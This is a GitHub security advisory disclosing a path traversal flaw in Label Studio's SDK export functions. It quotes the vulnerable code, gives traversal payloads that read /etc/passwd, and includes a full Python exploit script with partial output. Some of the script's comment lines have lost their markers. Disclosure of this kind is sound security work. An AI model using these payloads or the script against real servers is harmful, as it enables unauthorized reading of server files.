GitHub Advisoryadvisory · PyPI
GHSA-rgv9-w7jp-m23g Label Studio has a Path Traversal Vulnerability via image Field
HIGH
Official page ↗
- Aliases
- CVE-2025-25295
- Ecosystem
- PyPI
- Packages
- label-studio-sdk
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22, CWE-26
- Reviewed
- 2025-02-14
Affected packages
• PyPI label-studio-sdk: < 1.0.10 → fixed in 1.0.10
Description
Description
A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports:
```python
def download(
url,
output_dir,
filename=None,
project_dir=None,
return_relative_path=False,
upload_dir=None,
download_resources=True,
):
is_local_file = url.startswith("/data/") and "?d=" in url
is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
```
By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.
Note that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`.
Steps to Reproduce
1. Login to Label Studio
2. Create project with image labeling configuration
3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it
4. Create task with path traversal in image field
4.1. To trigger the `is_uploaded_file` code path:
```json
{
"data": {
"text": "test",
"image": "/data/upload/../../../../../etc/passwd"
}
}
```
4.2. To trigger the `is_local_file` code path:
```json
{
"data": {
"text": "test",
"image": "/data/local-files/?d=../../../etc/passwd"
}
}
```
6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:
```
GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true
```
7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file.
Alternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats:
```python
import requests
from bs4 import BeautifulSoup
import io
import zipfile
BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"
print("Signing up...")
url = "%s/user/signup/" % BASE_URL
session = requests.Session()
First get the CSRF token
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
print(f"Got CSRF token: {csrf_token}")
Prepare registration data
data = {
'csrfmiddlewaretoken': csrf_token,
'email': USERNAME,
'password': PASSWORD,
'allow_newsletters': 'false',
'allow_newsletters_visual': 'false'
}
headers = {
'Referer': url,
'Content-Type': 'application/x-www-form-urlencoded',
}
Submit the registration request
response = session.post(url, data=data, headers=headers)
print(f"User registration response status code: {response.status_code}\n")
Login
print("Logging in...")
url = "%s/user/login" % BASE_URL
Attempt login with our credentials
login_data = {
'csrfmiddlewaretoken': csrf_token,
'email': USERNAME,
'password': PASSWORD,
}
headers = {
'Referer': url,
'Content-Type': 'application/x-www-form-urlencoded',
}
response = session.post(url, data=login_data, headers=headers)
print(f"Login response status code: {response.status_code}")
Check if we got any tokens in the response
print("\nCookies after login:")
for cookie in session.cookies:
print(f"{cookie.name}: {cookie.value}")
We will use these headers moving forward
headers = {
'Content-Type': 'application/json',
'X-CSRFToken': session.cookies['csrftoken']
}
Creat a project to then create a task associated to it
print("\nCreating project...")
Try to create a project with a file upload configuration
project_data = {
"title": "File Upload Test",
"description": "Testing file upload functionality",
"label_config": """
"""
}
response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers)
if response.status_code != 201:
print("Problem creating project, aborting")
exit(0)
project_id = response.json()['id']
print(f"Project ID: {project_id}\n")
Create task using a filename to later abuse a path traversal vulnerability during file export
print(f"Creating task with method {METHOD} (defaults to is_local_file)...")
task_data = {}
if (METHOD == "is_uploaded_file"):
task_data["data"] = {
"text": "test",
"image": "/data/upload/../../../../../etc/passwd" # Trigger for is_uploaded_file
}
else:
task_data["data"] = {
"text": "test",
"image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file
}
response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers)
if response.status_code != 201:
print("Problem creating task, aborting")
exit(0)
task_id = response.json()['id']
print(f"Task created successfully, task id: {task_id}\n")
Issue a dummy upload request to force the creation of the ~/data/images/upload folder
response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"})
Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)
response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true")
if (response.status_code != 200):
print("Couldn't fetch export file")
exit(0)
file_like_object = io.BytesIO(response.content)
zipfile_ob = zipfile.ZipFile(file_like_object)
print("Dumping /etc/passwd file contents:")
print(zipfile_ob.read("images/passwd").decode("utf-8"))
```
Output:
```
$ python3 studio-min.py
Signing up...
Got CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6
User registration response status code: 200
Logging in...
Login response sta…
Related
Alias · CVE (1)
- CVE-2025-25295 Label Studio is an open source data labeling tool. vulnerability